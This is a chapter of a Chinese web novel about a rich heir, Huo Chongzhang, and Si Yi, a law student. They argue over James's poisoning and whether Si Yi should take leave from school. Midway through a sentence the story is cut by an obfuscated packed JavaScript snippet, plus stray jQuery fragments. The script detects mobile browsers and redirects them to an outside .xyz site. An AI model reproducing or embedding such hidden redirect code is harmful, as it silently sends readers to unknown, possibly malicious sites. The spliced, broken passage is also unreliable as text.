霍崇嶂还是走进了卧室。
他不动声色地瞥向斯懿床头,对方黑发凌乱,脸颊泛红,惺忪的眼仿佛能滴出水。
好在睡衣扣子系到了最上面那颗,霍崇嶂深感欣慰。
他搬了张椅子守在斯懿床边:“我等你睡醒再说。”
斯懿佯装没听懂话外之音,翻了个身,舒舒服服地睡觉。
霍崇嶂盯着斯懿的背影,心里莫名憋屈。
霍亨家族掌握合众国的金融命脉,自詹姆斯一辈起又涉足政坛,他从出生就被众星捧月,从来没人敢这么晾着他。
霍崇嶂仔细一想,发现斯懿对他的怠慢早就有迹可循。
他不让斯懿和戴蒙赛马,斯懿非要去;他不让斯懿上学,斯懿非要上;他不让斯懿想詹姆斯,斯懿非要想......
不就是个特优生吗?不就是他小爸吗?不就是个大美人吗?
凭什么啊。
霍崇嶂越想越气。
他略作斟酌,还是不吐不快:“昨晚祖父的情况不太好,平稳下来已经凌晨三点了,所以今天一早就来找你。”
斯懿不耐烦道:“那你也再睡一会吧,晚点再说。”
根据自己的语言习惯,霍崇嶂将这句话解码为斯懿邀请他一起睡。
他的心跳乱了半拍,纠结片刻之后,还是脱下了西装外套。
——如果詹姆斯没有出事,斯懿现在也算是他的半个长辈,他听从斯懿的要求也不算错事,而且这张床还特别大。
斯懿睡眠很浅,清晰地感受到了身后床垫的下陷。
霍崇嶂身上有股淡淡的雪松混杂皮革的味道,闻起来沉郁又昂贵,在斯懿鼻尖撩动。
除了气味,他的体温也略高,此刻正透过单薄的睡衣游走在斯懿的后脊。
霍崇嶂低声道:“别乱想,快睡吧。”
斯懿暗自翻了个白眼,他完全没有其他想法,毕竟已经一滴都没有了。
他睡得很香。身体放松舒展,呼吸均匀悠长。
霍崇嶂心里更郁闷了,这已经是斯懿第二次用行动否认他的魅力。
名为自卑的种子,此生第一次在他心里发芽,他不会真的比不上詹姆斯吧?
这种想法一旦产生,就再难以压制下来,霍崇嶂心里的躁动一浪强过一浪。
他迫切地想向斯懿证明,他比詹姆斯强得多,在各种方面。
压抑的注视中,斯懿随意翻了个身,黑发滑落下来,露出光洁白皙的耳垂和脖颈。
霍崇嶂的呼吸变得急促,体温似乎也升高了一点。
虽然才二十岁,但他欲望并不强,相比男欢女爱的戏码,他更向往绝对的财富和权力。
已经拥有了很多,但永不满足。
然而,自从在逼仄阴暗的禁闭室见到斯懿,他发现自己的身体出现了一些变化。
这次反应尤为强烈。
霍崇嶂彻底睡不着了。
他想要摇醒熟睡的斯懿,问问他有什么“丈夫能做的事”是他不能做的。
指尖刚碰上那截洁白,霍崇嶂又触电般收回。
他索性坐起身来,一把抓住斯懿换下的水蓝色衬衫,快步走向浴室。
一个小时后,霍崇嶂走出浴室时,自认为情绪非常平静。
斯懿正好也睡醒了,在床头抱着双腿发呆,两道平静得六亲不认的目光撞在一起。
霍崇嶂轻咳了声:“言归正传,我是想来告诉你,给詹姆斯下毒的人已经找到了。”
斯懿顿了一下,整个人迅速进入状态。
他的瞳孔猛地收缩,连嘴唇都颤抖起来:“谁,是谁干的......”
霍崇嶂五指紧攥,语气却依然平静:“是个厨房工作的佣人,他在早餐里做了手脚。”
斯懿纤长的脖颈上青筋隐现:“他为什么要这么对詹姆斯......他在哪?我要去问问他!”
霍崇嶂:“刚在他宿舍搜出剩下的毒药,他就试图撞墙自尽,幸好被拦住了。现在正在警署接受讯问。”
他又带着安抚的意味补充了句:“从今天开始,你不用回禁闭室了,可以住在这里。”
他故意隐去了关于进步派和宪章派的冲突,并不希望斯懿参与这些纷争。
出乎意料的是,斯懿的语气却相当坚定:“他没有理由拼上性命谋害詹姆斯,背后必定有人指使。”
霍崇嶂耸了耸肩,不置可否。
斯懿现学现卖:“应该是宪章派的人,他们在为下届总统选举布局,我们应该重点怀疑宪章派可能的候选人。”
霍崇嶂怔了怔,转念又想起斯懿是法学院的学生。
德瓦尔法学院为合众国贡献了5位总统和多达12位最高院大法官,斯懿关注这些也很正常。
他意识到,他一直把斯懿放在金丝雀的位置,忘了他同样品学兼优,有所抱负。
如果没被詹姆斯那老鬼缠上,斯懿会有怎样的人生呢?
霍崇嶂心里除了愤怒,又无端泛起一丝愧疚。
目无下尘的大少爷初次产生这种情绪,只能不知所措地遮掩。
霍崇嶂抬手拨乱头发:“无论如何,这里是波州,一定会水落石出。以后庄园也会增强安保措施,所有佣人都会再次背调。”
斯懿圆睁的杏眼里情绪复杂,在漫长的沉默后化作一句“好吧。”
“对了,还有上学的事。”
霍崇嶂主动捅破无法回避的尴尬话题:“我的想法是,你不用退学,但需要休学一学年。等风波平息一些,我会帮你求情。”
“崇嶂,我想回去上学。”
“休学一年,我帮你查清那块怀表的来历,你也想知道父母为什么把它留给你吧。”
“上学能让我走向未来,而不是沉湎在过去。”
“好吧,如果你答应休学,以后每天都能探望詹姆斯。”霍崇嶂抛出最后的筹码,自以为做出了极大让步。
短暂犹豫后,斯懿摇了摇头:“探望詹姆斯本来就是我的权利。”
霍崇嶂被哽住了。
斯懿继续道:“虽然我很爱詹姆斯,但我同样需要学习,需要了解并且和这个世界建立联系。”
“但你同样要为了霍亨家族考虑。”霍崇嶂终于找到论据,连忙反驳:
“詹姆斯的事尚未定论,你回到学院后,其他人会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838882|175705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么看待你?又会怎么看待我们?”
斯懿不甘示弱:“我们没有做错任何事,为什么要担心别人的看法?崇嶂,我也是受害者!”
霍崇嶂忍无可忍:“祖父和戴蒙为什么会变成那样?你这样我不放心你回学校。”
话音刚落,他就意识到自己有多蠢。
斯懿也愣在原地,似乎没跟上他的思路转变。
斯懿脸上泪痕未干,看着就像樽不堪一握的精美瓷器,但霍崇嶂却见识到了他坚硬而锋利的一面。
“你再考虑一下,不要冲动。”霍崇嶂拎起床头的西装外套,匆忙逃离了斯懿的卧室。
听着远去的脚步声,斯懿脸上痛苦、茫然、愤怒、失落的情绪立刻消失。
他随手擦去泪痕,带着几分嘲弄扬起嘴角。
......
接下来的三天,霍崇嶂依旧会在清晨敲响斯懿的房门,然后在得到许可前闯入其中。
每天他都会带来新的论据,譬如斯懿需要修养身体,学院的选课名额紧张,以及祖父身体不好等等。
斯懿见招拆招,坚决不肯休学。
这不仅是原主的人设,也是斯懿的坚持。他好不容易重生一回,并不想虚度在霍崇嶂的被窝里。
无论是根据原书还是亲历,斯懿都看出这是个贫富差距巨大,权贵们带着不同面具表演,而平民百姓沦为燃料和祭品的荒诞世界。
和斯懿穿书前的世界很像。
上一世,他周旋在豪强权贵之间,要他们因他神魂颠倒,为他大打出手,最终让他割下一颗颗自命不凡的头颅。
这一世依旧可以玩一玩。
而走入那座校训是“平等为基,真理为友”,学生却依旧自觉分为贵族和特优生的德瓦尔学院,是他踏入新的斗争的第一步。
今天的战况尤其激烈,两人你来我往吵了三十分钟,斯懿瓷白的脸上都浮现出一层淡红。
结局是霍崇嶂依旧被辩得哑口无言,只能压抑住愤怒和躁动,向斯懿发出最后通牒:
“后天就是周五,不出意外的话,我会去帮你申请休学。”
没等斯懿再次慷慨陈词,他又推开门落荒而逃。
霍崇嶂的顽固也在斯懿的预料之中,他特意嘱咐布克这几天别来服务,就是为了给最后的表演铺垫感情。
斯懿翻找出订婚那天穿过的衬衫。
高定衬衫已经洗净,熨烫过后就像新的一样。
说来惭愧,他从穿书第一晚就想着探望“老公”,直到今天也还没见上面。
前些天霍崇嶂要处理詹姆斯中毒后遗留的琐事,大部分时间不在庄园,斯懿没有表演机会,索性在卧室里读书。
《刑法学》都看完了三厘米。
斯懿看向镜子里的自己,衣领上的珍珠簇拥着红润的面颊,黑发如绸缎披在肩上。
视线向下,会看见修长笔直的腿,和衬衫夹勒出的淡淡红痕。
他眨了眨眼,又露出无辜中带着妩媚,易碎中夹杂坚韧的神情。
还不错。
斯懿推开卧室的门,赤脚踩在羊绒地毯上。
这次是真的去见老公。